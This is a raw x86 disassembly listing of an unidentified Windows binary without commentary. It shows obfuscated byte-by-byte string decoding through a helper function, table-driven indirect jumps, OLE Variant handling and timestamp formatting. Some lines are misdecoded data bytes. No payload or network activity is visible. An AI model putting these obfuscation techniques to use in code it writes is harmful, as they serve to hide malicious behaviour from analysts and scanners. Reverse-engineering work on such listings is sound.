mov byte [esp + 0x36], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xda
mov byte [esp + 0x37], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xdb
mov byte [esp + 0x38], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xdc
mov byte [esp + 0x39], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xdd
mov byte [esp + 0x3a], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xde
mov byte [esp + 0x3b], al
mov eax, 0x10
mov byte [esp + eax + 0x2c], 0
add eax, 1
cmp eax, 0x14
jne 0x42db20
mov dword [esp + 0x104], 0
mov eax, dword [esp + 0x104]
cmp eax, 0x14
jae 0x42db7f
mov eax, dword [esp + 0x104]
mov ecx, dword [esp + 0x104]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432900
mov ecx, dword [esp + 0x104]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0x104]
inc eax
mov dword [esp + 0x104], eax
jmp 0x42db38
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
mov eax, dword [esp + 0x268]
mov ecx, dword [esp + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2f8]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [ecx + eax*4]
jmp eax
and ch, byte ss:[eax]
sal bl, cl
insd dword es:[edi], dx
invalid
lea eax, [esp + 0x1d0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x1c0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0xe4]
mov al, byte [esp + 0x150]
mov byte [esp + 0x1a8], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4c
xor eax, 0x3e
mov byte [esp + 0x154], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x3f
mov byte [esp + 0x155], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6f
xor eax, 0x40
mov byte [esp + 0x156], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x41
mov byte [esp + 0x157], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x63
xor eax, 0x42
mov byte [esp + 0x158], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x43
mov byte [esp + 0x159], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
xor eax, 0x44
mov byte [esp + 0x15a], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x45
mov byte [esp + 0x15b], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6c
xor eax, 0x46
mov byte [esp + 0x15c], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x47
mov byte [esp + 0x15d], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x44
xor eax, 0x48
mov byte [esp + 0x15e], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x49
mov byte [esp + 0x15f], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
xor eax, 0x4a
mov byte [esp + 0x160], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x4b
mov byte [esp + 0x161], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
xor eax, 0x4c
mov byte [esp + 0x162], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x4d
mov byte [esp + 0x163], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0x4e
mov byte [esp + 0x164], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x4f
mov byte [esp + 0x165], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
xor eax, 0x50
mov byte [esp + 0x166], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x51
mov byte [esp + 0x167], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
xor eax, 0x52
mov byte [esp + 0x168], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x53
mov byte [esp + 0x169], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6d
xor eax, 0x54
mov byte [esp + 0x16a], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x55
mov byte [esp + 0x16b], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0x56
mov byte [esp + 0x16c], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x57
mov byte [esp + 0x16d], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x58
mov byte [esp + 0x16e], al
mov dword [esp], 0xda651c3e
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x59
mov byte [esp + 0x16f], al
mov eax, 0x1c
mov byte [esp + eax + 0x154], 0
add eax, 1
cmp eax, 0x20
jne 0x42dfd9
mov dword [esp + 0x10c], 0
mov eax, dword [esp + 0x10c]
cmp eax, 0x20
jae 0x42e041
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x10c]
movzx ecx, byte [esp + ecx + 0x154]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432940
mov ecx, dword [esp + 0x10c]
mov byte [esp + ecx + 0x154], al
mov eax, dword [esp + 0x10c]
inc eax
mov dword [esp + 0x10c], eax
jmp 0x42dff4
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1c0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x154]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns bh
mov eax, dword [esp + 0x410]
mov ecx, dword [esp + 0x414]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x4b8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov ebx, eax
mov eax, dword [esp + 0x4b8]
mov ecx, ebx
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00429540
mov esi, eax
add esi, 1
mov dword [esp], esi
call fcn.00409620
mov edx, dword [esp + 0x4b8]
shl ebx, 1
mov edi, edx
add edi, ebx
mov ebx, eax
add ebx, esi
mov dword [esp + 0x204], eax
mov esi, eax
mov eax, ebx
add eax, 0xffffffff
cmp esi, eax
jae 0x42e140
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
setb cl
or al, cl
test al, 1
jne 0x42e108
jmp 0x42e140
mov cx, word [edx]
movzx eax, cx
cmp cx, 0
je 0x42e140
add edx, 2
mov dword [esp + 0x1f8], edx
mov ecx, esi
xor ecx, 0xffffffff
add ecx, ebx
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00432750
mov edx, dword [esp + 0x1f8]
add esi, eax
jmp 0x42e0eb
call fcn.00419ba0
call fcn.00419ba0
mov byte [esi], 0
mov esi, dword [esp + 0x204]
mov eax, esi
add eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x214]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, esi
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, esi
add eax, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, esi
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, esi
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov byte [eax], 0
mov dword [esp + 0x350], 0
mov eax, dword [esp + 0x354]
mov ecx, dword [esp + 0x350]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x118]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x2a8], 0
mov eax, dword [esp + 0x2ac]
mov ecx, dword [esp + 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov ebx, eax
mov eax, dword [esp + 0x1c8]
mov ecx, ebx
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00429540
mov esi, eax
add esi, 1
mov dword [esp], esi
call fcn.00409620
mov edx, dword [esp + 0x1c8]
shl ebx, 1
mov edi, edx
add edi, ebx
mov ebx, eax
add ebx, esi
mov dword [esp + 0x200], eax
mov esi, eax
mov eax, ebx
add eax, 0xffffffff
cmp esi, eax
jae 0x42e301
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
setb cl
or al, cl
test al, 1
jne 0x42e2c9
jmp 0x42e301
mov cx, word [edx]
movzx eax, cx
cmp cx, 0
je 0x42e301
add edx, 2
mov dword [esp + 0x1f4], edx
mov ecx, esi
xor ecx, 0xffffffff
add ecx, ebx
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00432750
mov edx, dword [esp + 0x1f4]
add esi, eax
jmp 0x42e2ac
call fcn.00419ba0
call fcn.00419ba0
mov byte [esi], 0
mov esi, dword [esp + 0x200]
mov eax, esi
add eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1b8]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, esi
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, esi
add eax, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, esi
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, esi
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov byte [eax], 0
mov dword [esp + 0x3c8], 0
mov eax, dword [esp + 0x3cc]
mov ecx, dword [esp + 0x3c8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x2c0]
mov edx, dword [esp + 0x2c4]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.00419ba0
mov ax, word [esp + 0x1c0]
sub ax, 8
sete al
mov bl, bh
and bl, al
mov dword [esp + 0x400], 0
mov eax, dword [esp + 0x404]
mov ecx, dword [esp + 0x400]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov ebx, eax
mov eax, dword [esp + 0x1c8]
mov ecx, ebx
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00429540
mov edi, eax
sub edi, 0x905f17e0
add edi, 1
add edi, 0x905f17e0
mov dword [esp], edi
call fcn.00409620
mov edx, dword [esp + 0x1c8]
shl ebx, 1
mov esi, edx
add esi, ebx
mov ebx, eax
add ebx, edi
mov dword [esp + 0x1fc], eax
mov edi, eax
mov eax, ebx
add eax, 0xffffffff
cmp edi, eax
jae 0x42e4ed
test esi, esi
sete al
mov ecx, edx
sub ecx, esi
setb cl
or al, cl
test al, 1
jne 0x42e4b5
jmp 0x42e4ed
mov cx, word [edx]
movzx eax, cx
cmp cx, 0
je 0x42e4ed
add edx, 2
mov dword [esp + 0x1f0], edx
mov ecx, edi
xor ecx, 0xffffffff
add ecx, ebx
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00432750
mov edx, dword [esp + 0x1f0]
add edi, eax
jmp 0x42e498
call fcn.00419ba0
call fcn.00419ba0
mov byte [edi], 0
mov esi, dword [esp + 0x1fc]
mov eax, esi
add eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1b8]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, esi
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, esi
add eax, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, esi
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
add esi, 0xc
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00432810
mov byte [eax], 0
mov eax, dword [esp + 0x250]
mov ecx, dword [esp + 0x254]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x408], 0
mov eax, dword [esp + 0x40c]
mov ecx, dword [esp + 0x408]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [esp + 0x11c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x300], 1
mov eax, dword [esp + 0x304]
mov ecx, dword [esp + 0x300]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x3b0], 0
mov eax, dword [esp + 0x3b4]
mov ecx, dword [esp + 0x3b0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
lea eax, [esp + 0x11c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x128]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call edi
sub esp, 0x18
xor ecx, ecx
test eax, eax
setns al
mov dword [esp + 0x448], 1
mov edx, dword [esp + 0x44c]
mov ebx, dword [esp + 0x448]
mov edx, dword [edx + ebx*4]
mov ebx, dword [esp + 0x12c]
jmp edx
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov eax, dword [esp + 0x368]
mov ecx, dword [esp + 0x36c]
mov eax, dword [ecx + eax*4]
jmp eax
lea eax, [esp + 0x4b0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov eax, dword [esp + 0xe4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x310]
mov ecx, dword [esp + 0x314]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2e0]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0x214], edi
mov eax, dword [esp + 0x470]
mov ecx, dword [esp + 0x474]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x308], 0
mov eax, dword [esp + 0x30c]
mov ecx, dword [esp + 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0x2e8]
mov ecx, dword [esp + 0x2ec]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x4a0], 0
mov eax, dword [esp + 0x4a4]
mov ecx, dword [esp + 0x4a0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x3a8], 1
mov eax, dword [esp + 0x3ac]
mov ecx, dword [esp + 0x3a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x1bc], 0
mov eax, dword [esp + 0x11c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edx, [esp + 0x1bc]
mov dword [esp + 0x10], edx
lea edx, [esp + 0xe4]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
sub esp, 0x14
test eax, eax
setns cl
sub eax, 1
setne al
mov edx, dword [esp + 0x1bc]
test edx, edx
setne dl
and al, dl
and al, cl
movzx eax, al
mov dword [esp + 0x438], eax
mov eax, dword [esp + 0x43c]
mov ecx, dword [esp + 0x438]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x450], 1
mov eax, dword [esp + 0x454]
mov ecx, dword [esp + 0x450]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x12c]
jmp eax
mov eax, dword [esp + 0x210]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0x124]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x290]
mov ecx, dword [esp + 0x294]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], esi
call edi
sub esp, 4
mov eax, dword [esp + 0x298]
mov ecx, dword [esp + 0x29c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x2b0], 1
mov eax, dword [esp + 0x2b4]
mov ecx, dword [esp + 0x2b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x11c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x22c]
mov eax, dword [ecx + eax*4]
jmp eax
lea eax, [esp + 0x1c0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
lea eax, [esp + 0x4c0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantClear]
call eax
sub esp, 4
mov esi, dword [esp + 0xe4]
mov eax, dword [esp + 0x398]
mov ecx, dword [esp + 0x39c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x118]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x3d0], 1
mov eax, dword [esp + 0x3d4]
mov ecx, dword [esp + 0x3d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x12c]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0x2f0]
mov ecx, dword [esp + 0x2f4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x468], 1
mov eax, dword [esp + 0x46c]
mov ecx, dword [esp + 0x468]
mov eax, dword [eax + ecx*4]
jmp eax
push edx
inc esp
cmc
ror byte [ebx + 0x2602484], 1
add byte [eax], al
mov ecx, dword [esp + 0x264]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x480], 0
mov eax, dword [esp + 0x484]
mov ecx, dword [esp + 0x480]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x25c]
mov eax, dword [ecx + eax*4]
jmp eax
movsx ecx, word [esp + 0x4c8]
mov eax, dword [esp + 0x370]
mov edx, dword [esp + 0x374]
mov eax, dword [edx + eax*4]
jmp eax
mov edi, dword [esi + 0x88]
mov dword [esi + 0x44], ebx
mov cl, al
and ecx, 1
mov dword [esi + 0x2a0], ecx
mov eax, dword [esi + 0x2a4]
mov ecx, dword [esi + 0x2a0]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
mov al, byte [ebx]
mov byte [esi + 0x5c], al
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x57
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x56
and eax, 0xa9
or ecx, eax
mov byte [edi], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x57
and eax, 0xa8
or ecx, eax
mov byte [edi + 1], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x51
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x58
and eax, 0xa7
or ecx, eax
mov byte [edi + 2], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x59
and eax, 0xa6
or ecx, eax
mov byte [edi + 3], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5a
and eax, 0xa5
or ecx, eax
mov byte [edi + 4], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5b
and eax, 0xa4
or ecx, eax
mov byte [edi + 5], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5c
and eax, 0xa3
or ecx, eax
mov byte [edi + 6], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5d
and eax, 0xa2
or ecx, eax
mov byte [edi + 7], cl
mov eax, 8
mov byte [edi + eax], 0
add eax, 1
cmp eax, 9
jne 0x42efa6
mov dword [esi + 0x10], 0
mov ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x10]
cmp eax, 9
jae 0x42efef
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x10]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432a10
add esp, 8
mov ecx, dword [esi + 0x10]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x10]
inc eax
mov dword [esi + 0x10], eax
jmp 0x42efbc
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0x70], eax
mov al, byte [ebx]
mov byte [esi + 0x64], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x53
xor eax, 0x11
xor al, 0x4a
mov ebx, dword [esi + 0x30]
mov byte [ebx], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x16
xor al, 0x4a
mov byte [ebx + 1], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x45
xor eax, 0x17
xor al, 0x4a
mov byte [ebx + 2], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x14
xor al, 0x4a
mov byte [ebx + 3], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4c
xor eax, 0x15
xor al, 0x4a
mov byte [ebx + 4], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x2a
xor al, 0x4a
mov byte [ebx + 5], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x45
xor eax, 0x2b
xor al, 0x4a
mov byte [ebx + 6], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x28
xor al, 0x4a
mov byte [ebx + 7], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x43
xor eax, 0x29
xor al, 0x4a
mov byte [ebx + 8], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x2e
xor al, 0x4a
mov byte [ebx + 9], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x54
xor eax, 0x2f
xor al, 0x4a
mov byte [ebx + 0xa], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x2c
xor al, 0x4a
mov byte [ebx + 0xb], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x20
xor eax, 0x2d
xor al, 0x4a
mov byte [ebx + 0xc], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x22
xor al, 0x4a
mov byte [ebx + 0xd], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x2a
xor eax, 0x23
xor al, 0x4a
mov byte [ebx + 0xe], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x20
xor al, 0x4a
mov byte [ebx + 0xf], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x20
xor eax, 0x21
xor al, 0x4a
mov byte [ebx + 0x10], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x26
xor al, 0x4a
mov byte [ebx + 0x11], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x46
xor eax, 0x27
xor al, 0x4a
mov byte [ebx + 0x12], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x24
xor al, 0x4a
mov byte [ebx + 0x13], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x52
xor eax, 0x25
xor al, 0x4a
mov byte [ebx + 0x14], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x3a
xor al, 0x4a
mov byte [ebx + 0x15], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4f
xor eax, 0x3b
xor al, 0x4a
mov byte [ebx + 0x16], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x38
xor al, 0x4a
mov byte [ebx + 0x17], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4d
xor eax, 0x39
xor al, 0x4a
mov byte [ebx + 0x18], al
